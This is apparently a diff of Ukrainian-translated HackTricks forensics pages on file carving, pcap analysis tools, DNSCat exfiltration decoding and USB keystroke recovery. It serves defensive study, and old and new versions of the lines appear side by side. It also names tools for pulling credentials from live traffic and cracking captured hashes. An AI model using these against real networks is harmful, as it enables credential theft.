* Отримання **шаблонів** для криптоаналізу файлів
* **Виявлення** алгоритмів упаковки або кодування
* **Визначення** стеганографії за шаблонами
* **Візуальне** порівняння бінарних файлів
* **Виявлення** алгоритмів пакування або кодування
* **Ідентифікація** стеганографії за шаблонами
* **Візуальне** бінарне порівняння
BinVis - це чудова **стартова точка для ознайомлення з невідомою ціллю** в сценарії чорної скриньки.
BinVis є чудовою **відправною точкою для ознайомлення з невідомою ціллю** в сценарії чорного ящика.
## Специфічні Інструменти Для Відновлення Даних
## Специфічні інструменти для карвінгу даних
### FindAES
Шукає ключі AES, шукаючи їх розклади ключів. Здатний знаходити ключі на 128, 192 та 256 біт, такі, як ті, що використовуються TrueCrypt та BitLocker.
Шукає ключі AES, досліджуючи їх графіки ключів. Може знаходити 128, 192 та 256 бітні ключі, такі як ті, що використовуються TrueCrypt та BitLocker.
Завантажте [тут](https://sourceforge.net/projects/findaes/).
Завантажити [тут](https://sourceforge.net/projects/findaes/).
## Доповнюючі інструменти
## Додаткові інструменти
Ви можете використовувати [**viu** ](https://github.com/atanunq/viu), щоб переглядати зображення з терміналу.\
Ви можете використовувати інструмент командного рядка linux **pdftotext**, щоб перетворити pdf у текст і прочитати його.
Ви можете використовувати командний рядок linux **pdftotext**, щоб перетворити pdf у текст і прочитати його.
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,89 +1,95 @@
# Інспекція Pcap
# Pcap Inspection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) є найбільш важливою подією з кібербезпеки в **Іспанії** і однією з найважливіших в **Європі**. З місією просування технічних знань, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій дисципліні.
[**RootedCON**](https://www.rootedcon.com/) є найважливішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="info" %}
Про **PCAP** проти **PCAPNG**: існує дві версії формату файлу PCAP; **PCAPNG є новішою і не підтримується всіма інструментами**. Можливо, вам доведеться конвертувати файл з PCAPNG в PCAP за допомогою Wireshark або іншого сумісного інструмента, щоб працювати з ним в інших інструментах.
Примітка про **PCAP** та **PCAPNG**: існує дві версії формату файлів PCAP; **PCAPNG є новішим і не підтримується всіма інструментами**. Вам може знадобитися конвертувати файл з PCAPNG в PCAP за допомогою Wireshark або іншого сумісного інструменту, щоб працювати з ним в деяких інших інструментах.
{% endhint %}
## Онлайн інструменти для pcap
## Online tools for pcaps
* Якщо заголовок вашого pcap **пошкоджений**, вам слід спробувати **виправити** його за допомогою: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* Витягніть **інформацію** та шукайте **шкідливе ПЗ** всередині pcap на [**PacketTotal**](https://packettotal.com)
* Шукайте **зловмисну діяльність** за допомогою [**www.virustotal.com**](https://www.virustotal.com) та [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
* Якщо заголовок вашого pcap **пошкоджений**, ви повинні спробувати **виправити** його за допомогою: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* Витягніть **інформацію** та шукайте **шкідливе ПЗ** всередині pcap в [**PacketTotal**](https://packettotal.com)
* Шукайте **шкідливу активність** за допомогою [**www.virustotal.com**](https://www.virustotal.com) та [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
* **Повний аналіз pcap з браузера в** [**https://apackets.com/**](https://apackets.com/)
## Витягнення інформації
## Extract Information
Наступні інструменти корисні для витягнення статистики, файлів і т. д.
Наступні інструменти корисні для витягування статистики, файлів тощо.
### Wireshark
{% hint style="info" %}
**Якщо ви збираєтеся аналізувати PCAP, вам в основному слід знати, як використовувати Wireshark**
**Якщо ви збираєтеся аналізувати PCAP, ви в основному повинні знати, як користуватися Wireshark**
{% endhint %}
Деякі хитрощі Wireshark можна знайти в:
Ви можете знайти деякі трюки Wireshark у:
{% content-ref url="wireshark-tricks.md" %}
[wireshark-tricks.md](wireshark-tricks.md)
{% endcontent-ref %}
### Фреймворк Xplico
### [**https://apackets.com/**](https://apackets.com/)
[**Xplico** ](https://github.com/xplico/xplico)_(тільки для linux)_ може **аналізувати** pcap і витягувати з нього інформацію. Наприклад, з файлу pcap Xplico витягує кожен електронний лист (протоколи POP, IMAP та SMTP), всі вміст HTTP, кожний дзвінок VoIP (SIP), FTP, TFTP та інше.
Аналіз pcap з браузера.
**Встановлення**
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(тільки linux)_ може **аналізувати** **pcap** та витягувати інформацію з нього. Наприклад, з файлу pcap Xplico витягує кожен електронний лист (POP, IMAP та SMTP протоколи), весь HTTP контент, кожен VoIP дзвінок (SIP), FTP, TFTP тощо.
**Встановіть**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```
**Виконання**
**Запустити**
```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
Открийте доступ до _**127.0.0.1:9876**_ з обліковими даними _**xplico:xplico**_
Доступ до _**127.0.0.1:9876**_ з обліковими даними _**xplico:xplico**_
Потім створіть **новий кейс**, створіть **нову сесію** всередині кейсу та **завантажте файл pcap**.
Потім створіть **нову справу**, створіть **нову сесію** всередині справи та **завантажте pcap** файл.
### NetworkMiner
Подібно до Xplico, це інструмент для **аналізу та вилучення об'єктів з pcap**. Є безкоштовна версія, яку можна **завантажити** [**тут**](https://www.netresec.com/?page=NetworkMiner). Працює з **Windows**.\
Цей інструмент також корисний для отримання **іншої інформації, проаналізованої** з пакетів, щоб знати, що відбувалося **швидше**.
Як і Xplico, це інструмент для **аналізу та вилучення об'єктів з pcaps**. Він має безкоштовну версію, яку ви можете **завантажити** [**тут**](https://www.netresec.com/?page=NetworkMiner). Він працює на **Windows**.\
Цей інструмент також корисний для отримання **іншої інформації, проаналізованої** з пакетів, щоб мати можливість швидше зрозуміти, що відбувалося.
### NetWitness Investigator
Ви можете завантажити [**NetWitness Investigator тут**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Працює в Windows)**.\
Це ще один корисний інструмент, який **аналізує пакети** та сортує інформацію у корисний спосіб, щоб **знати, що відбувається всередині**.
Ви можете завантажити [**NetWitness Investigator звідси**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Працює на Windows)**.\
Це ще один корисний інструмент, який **аналізує пакети** та сортує інформацію у зручний спосіб, щоб **знати, що відбувається всередині**.
### [BruteShark](https://github.com/odedshimon/BruteShark)
* Вилучення та кодування імен користувачів та паролів (HTTP, FTP, Telnet, IMAP, SMTP...)
* Вилучення хешів аутентифікації та їх розшифрування за допомогою Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
* Побудова візуальної діаграми мережі (Мережеві вузли та користувачі)
* Вилучення запитів DNS
* Вилучення та кодування імен користувачів і паролів (HTTP, FTP, Telnet, IMAP, SMTP...)
* Вилучення хешів аутентифікації та їх зламування за допомогою Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
* Створення візуальної мережевої діаграми (мережеві вузли та користувачі)
* Вилучення DNS запитів
* Відновлення всіх TCP та UDP сесій
* Видобування файлів
* Вилучення файлів
### Capinfos
```
@ -91,29 +97,29 @@ capinfos capture.pcap
```
### Ngrep
Якщо ви **шукаєте** щось усередині pcap, ви можете використовувати **ngrep**. Ось приклад використання основних фільтрів:
Якщо ви **шукаєте** **щось** всередині pcap, ви можете використовувати **ngrep**. Ось приклад з використанням основних фільтрів:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Видалення
### Carving
Використання загальних технік видалення може бути корисним для вилучення файлів та інформації з pcap:
Використання загальних технік карвінгу може бути корисним для витягування файлів та інформації з pcap:
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Захоплення облікових даних
### Capturing credentials
Ви можете використовувати інструменти, такі як [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz), щоб розбирати облікові дані з pcap або живого інтерфейсу.
Ви можете використовувати інструменти, такі як [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz), для парсингу облікових даних з pcap або живого інтерфейсу.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) є найбільш важливою подією з кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З метою просування технічних знань, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у кожній дисципліні.
[**RootedCON**](https://www.rootedcon.com/) є найважливішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
{% embed url="https://www.rootedcon.com/" %}
## Перевірка Вразливостей/Шкідливих програм
## Check Exploits/Malware
### Suricata
@ -132,15 +138,15 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) - це інструмент, який
* Читає файл PCAP та витягує потоки Http.
* gzip розпаковує будь-які стиснуті потоки
* Сканує кожен файл за допомогою yara
* Записує звіт у report.txt
* Опціонально зберігає відповідні файли у каталозі
* Читає файл PCAP та витягує HTTP потоки.
* Розпаковує будь-які стиснуті потоки за допомогою gzip.
* Сканує кожен файл за допомогою yara.
* Пише report.txt.
* За бажанням зберігає відповідні файли в директорію.
### Аналіз шкідливих програм
### Malware Analysis
Перевірте, чи можете ви знайти будь-який відбиток відомої шкідливої програми:
Перевірте, чи можете ви знайти будь-які відбитки відомого шкідливого ПЗ:
{% content-ref url="../malware-analysis.md" %}
[malware-analysis.md](../malware-analysis.md)
@ -148,9 +154,11 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) - це пасивний, відкритий аналізатор мережевого трафіку з відкритим вихідним кодом. Багато операторів використовують Zeek як монітор мережевої безпеки (NSM), щоб підтримувати розслідування підозрілої або зловмисної діяльності. Zeek також підтримує широкий спектр завдань аналізу трафіку поза областю безпеки, включаючи вимірювання продуктивності та усунення неполадок.
> [Zeek](https://docs.zeek.org/en/master/about.html) - це пасивний, відкритий аналізатор мережевого трафіку. Багато операторів використовують Zeek як монітор безпеки мережі (NSM) для підтримки розслідувань підозрілої або шкідливої діяльності. Zeek також підтримує широкий спектр завдань аналізу трафіку, які виходять за межі безпеки, включаючи вимірювання продуктивності та усунення неполадок.
Фактично, журнали, створені за допомогою `zeek`, не є **pcaps**. Тому вам потрібно використовувати **інші інструменти** для аналізу журналів, де є **інформація** про pcaps.
В основному, журнали, створені `zeek`, не є **pcaps**. Тому вам потрібно буде використовувати **інші інструменти** для аналізу журналів, де міститься **інформація** про pcaps.
### Connections Info
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
@ -200,7 +208,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
### Інформація DNS
### DNS інформація
```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
@ -217,7 +225,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
## Інші хитрощі аналізу pcap
## Інші трюки аналізу pcap
{% content-ref url="dnscat-exfiltration.md" %}
[dnscat-exfiltration.md](dnscat-exfiltration.md)
@ -235,20 +243,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) - найбільш важлива подія з кібербезпеки в **Іспанії** і одна з найважливіших в **Європі**. З **місією просування технічних знань**, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій галузі.
[**RootedCON**](https://www.rootedcon.com/) є найактуальнішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться трюками хакінгу, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,21 +1,37 @@
# DNSCat pcap аналіз
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
Якщо у вас є pcap з даними, які **ексфільтруються за допомогою DNSCat** (без використання шифрування), ви можете знайти ексфільтрований вміст.
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
Вам потрібно лише знати, що **перші 9 байтів** не є реальними даними, але пов'язані з **комунікацією C\&C**:
[**WhiteIntel**](https://whiteintel.io) є **пошуковою системою**, що працює на основі **темного вебу**, яка пропонує **безкоштовні** функції для перевірки, чи була компанія або її клієнти **компрометовані** **шкідливими програмами-крадіями**.
Основна мета WhiteIntel - боротися з захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм, що крадуть інформацію.
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
***
Якщо у вас є pcap з даними, що **експортуються через DNSCat** (без використання шифрування), ви можете знайти експортований контент.
Вам лише потрібно знати, що **перші 9 байтів** не є реальними даними, а пов'язані з **C\&C комунікацією**:
```python
from scapy.all import rdpcap, DNSQR, DNSRR
import struct
@ -37,21 +53,21 @@ last = qry
Для отримання додаткової інформації: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
Є скрипт, який працює з Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
```
python3 dnscat_decoder.py sample.pcap bad_domain
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,43 +1,45 @@
# USB Keystrokes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Якщо у вас є pcap, що містить комунікацію через USB клавіатури, як на наступному зображенні:
Якщо у вас є файл pcap, що містить комунікацію через USB клавіатури, подібну до наступної:
![](<../../../.gitbook/assets/image (962).png>)
![](<../../../.gitbook/assets/image (613).png>)
Ви можете використати інструмент [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser), щоб отримати текст, який був написаний у цій комунікації:
Ви можете використовувати інструмент [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser), щоб отримати те, що було написано в комунікації:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
Ви можете знайти більше інформації та знайти деякі скрипти щодо аналізу цього за посиланнями:
Ви можете прочитати більше інформації та знайти деякі скрипти про те, як це аналізувати за адресами:
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
